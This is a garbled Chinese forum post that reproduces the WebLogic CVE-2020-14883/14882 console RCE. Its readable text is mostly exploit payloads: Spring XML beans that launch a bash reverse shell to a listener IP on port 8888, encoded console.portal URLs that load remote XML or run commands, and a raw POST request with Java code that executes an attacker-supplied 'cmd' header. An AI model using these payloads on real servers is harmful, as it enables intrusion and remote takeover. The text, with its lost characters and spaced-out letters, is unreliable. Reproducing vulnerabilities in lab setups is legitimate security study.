[20484] 2021-01-19_复现CVE-2020-14883(说几个坑)

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2021-01-19_复现CVE-2020-14883(说几个坑) C V E - 2 0 2 0 - 1 4 8 8 3 ( )     K h a n   2 0 2 1 - 0 1 - 1 9       1 使 p y t h o n p y t h o n   - m   S i m p l e H T T P S e r v e r 访 w e b 访 2 线 x m l C x m l 西   使 : h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s / s p r i n g - b e a n s . x s d w e b   s p r i n g - b e a n s . x s d 访 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   ? > < b e a n s   x m l n s = " h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s "       x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "       x s i : s c h e m a L o c a t i o n = " h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s   h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s / s p r i n g - b e a n s . x s d " >         < b e a n   i d = " p b "   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r "   i n i t - m e t h o d = " s t a r t " >                 < c o n s t r u c t o r - a r g >                     < l i s t >                         < v a l u e > b a s h < / v a l u e >                         < v a l u e > - c < / v a l u e >                         < v a l u e > < ! [ C D A T A [ b a s h   - i   > &   / d e v / t c p / i p / 8 8 8 8   0 > & 1 ] ] > < / v a l u e >                     < / l i s t >                 < / c o n s t r u c t o r - a r g >         < / b e a n > < / b e a n s > < ? x m l   v e r s i o n = " 1 . 0 " e n c o d i n g = " U T F - 8 "   ? > < b e a n s   x m l n s = " h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s "     x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "     x s i : s c h e m a L o c a t i o n = " h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s   h t t p : / / 1 9 2 . 1 6 8 . 1 2 4 . 1 3 3 / s p r i n g - b e a n s . x s d " >       < b e a n   i d = " p b "   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " i n i t - m e t h o d = " s t a r t " >               < c o n s t r u c t o r - a r g >                   < l i s t >                       < v a l u e > b a s h < / v a l u e >                       < v a l u e > - c < / v a l u e >                       < v a l u e > < ! [ C D A T A [ b a s h   - i   > & / d e v / t c p / 1 9 2 . 1 6 8 . 1 2 4 . 1 3 3 / 8 8 8 8   0 > & 1 ] ] > < / v a l u e >                   < / l i s t >               < / c o n s t r u c t o r - a r g >       < / b e a n > < / b e a n s >
使 p a y l o a d s h e l l 1 0 . 3 . 6 1 0 . 3 . 6   使 v u l h u b 访   使 访 U R L 使   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 : 7 0 0 1 / c o n s o l e / c s s / % 2 5 2 e % 2 5 2 e % 2 5 2 f c o n s o l e . p o r t a l ? _ n f p b = t r u e & _ p a g e L a b e l = & h a n d l e = c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n ( " j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( ' t o u c h % 2 0 / t m p / 1 ' ) ; " )     / t m p / 1   使 p a y l o a d c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n c o m . b e a . c o r e . r e p a c k a g e d . s p r i n g f r a m e w o r k . c o n t e x t . s u p p o r t . F i l e S y s t e m X m l A p p l i c a t i o n C o n t e x t c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n P O S T   / c o n s o l e / c s s / % 2 5 2 e % 2 5 2 e % 2 5 2 f c o n s o l e . p o r t a l   H T T P / 1 . 1 H o s t :   1 7 2 . 1 6 . 2 4 2 . 1 3 4 : 7 0 0 1 c m d :   c h c p   6 5 0 0 1 & & w h o a m i & & i p c o n f i g U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 5 . 0 . 4 1 8 3 . 1 2 1   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 2 5 8   _ n f p b = t r u e & _ p a g e L a b e l = & h a n d l e = c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n ( " w e b l o g i c . w o r k . E x e c u t e T h r e a d   e x e c u t e T h r e a d   =   ( w e b l o g i c . w o r k . E x e c u t e T h r e a d )   T h r e a d . c u r r e n t T h r e a d ( ) ;
P a y l o a d h t t p s : / / g i t h u b . c o m / j a s 5 0 2 n / C V E - 2 0 2 0 - 1 4 8 8 2     p a y l o a d W e b l o g i c   1 2 . 2 . 1 1 0 . 3 . 6 x m l 访 x m l   U R L W e b l o g i c X M L p a y l o a d     h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / b l o b / m a s t e r / w e b l o g i c / C V E - 2 0 2 0 - 1 4 8 8 2 / R E A D M E . z h - c n . m d h t t p s : / / g i t h u b . c o m / j a s 5 0 2 n / C V E - 2 0 2 0 - 1 4 8 8 2 w e b l o g i c . w o r k . W o r k A d a p t e r   a d a p t e r   =   e x e c u t e T h r e a d . g e t C u r r e n t W o r k ( ) ; j a v a . l a n g . r e f l e c t . F i e l d   f i e l d   =   a d a p t e r . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " c o n n e c t i o n H a n d l e r " ) ; f i e l d . s e t A c c e s s i b l e ( t r u e ) ; O b j e c t   o b j   =   f i e l d . g e t ( a d a p t e r ) ; w e b l o g i c . s e r v l e t . i n t e r n a l . S e r v l e t R e q u e s t I m p l   r e q   =   ( w e b l o g i c . s e r v l e t . i n t e r n a l . S e r v l e t R e q u e s t I m p l )   o b j . g e t C l a s s ( ) . g e t M e t h o d ( " g e t S e r v l e t R e q u e s t " ) . i n v o k e ( o b j ) ; S t r i n g   c m d   =   r e q . g e t H e a d e r ( " c m d " ) ; S t r i n g [ ]   c m d s   =   S y s t e m . g e t P r o p e r t y ( " o s . n a m e " ) . t o L o w e r C a s e ( ) . c o n t a i n s ( " w i n d o w " )   ?   n e w   S t r i n g [ ] { " c m d . e x e " ,   " / c " ,   c m d }   :   n e w   S t r i n g [ ] { " / b i n / s h " ,   " - c " ,   c m d } ; i f   ( c m d   ! =   n u l l )   {         S t r i n g   r e s u l t   =   n e w   j a v a . u t i l . S c a n n e r ( j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d s ) . g e t I n p u t S t r e a m ( ) ) . u s e D e l i m i t e r ( " A " ) . n e x t ( ) ;         w e b l o g i c . s e r v l e t . i n t e r n a l . S e r v l e t R e s p o n s e I m p l   r e s   =   ( w e b l o g i c . s e r v l e t . i n t e r n a l . S e r v l e t R e s p o n s e I m p l )   r e q . g e t C l a s s ( ) . g e t M e t h o d ( " g e t R e s p o n s e " ) . i n v o k e ( r e q ) ;         r e s . g e t S e r v l e t O u t p u t S t r e a m ( ) . w r i t e S t r e a m ( n e w   w e b l o g i c . x m l . u t i l . S t r i n g I n p u t S t r e a m ( r e s u l t ) ) ;         r e s . g e t S e r v l e t O u t p u t S t r e a m ( ) . f l u s h ( ) ;         r e s . g e t W r i t e r ( ) . w r i t e ( " " ) ; } e x e c u t e T h r e a d . i n t e r r u p t ( ) ; " ) ; c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n c o m . b e a . c o r e . r e p a c k a g e d . s p r i n g f r a m e w o r k . c o n t e x t . s u p p o r t . F i l e S y s t e m X m l A p p l i c a t i o n C o n t e x t 使 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   ? > < b e a n s   x m l n s = " h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s "       x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "       x s i : s c h e m a L o c a t i o n = " h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s   h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s / s p r i n g - b e a n s . x s d " >         < b e a n   i d = " p b "   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r "   i n i t - m e t h o d = " s t a r t " >                 < c o n s t r u c t o r - a r g >                     < l i s t >                         < v a l u e > b a s h < / v a l u e >                         < v a l u e > - c < / v a l u e >                         < v a l u e > < ! [ C D A T A [ b a s h   - i   > &   / d e v / t c p / i p / 8 8 8 8   0 > & 1 ] ] > < / v a l u e >                     < / l i s t >                 < / c o n s t r u c t o r - a r g >         < / b e a n > < / b e a n s > h t t p : / / y o u r - i p : 7 0 0 1 / c o n s o l e / c s s / % 2 5 2 e % 2 5 2 e % 2 5 2 f c o n s o l e . p o r t a l ? _ n f p b = t r u e & _ p a g e L a b e l = & h a n d l e = c o m . b e a . c o r e . r e p a c k a g e d . s p r i n g f r a m e w o r k . c o n t e x t . s u p p o r t . F i l e S y s t e m X m l A p p l i c a t i o n C o n t e x t ( " h t t p : / / e x a m p l e . c o m / r c e . x m l " )
 
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则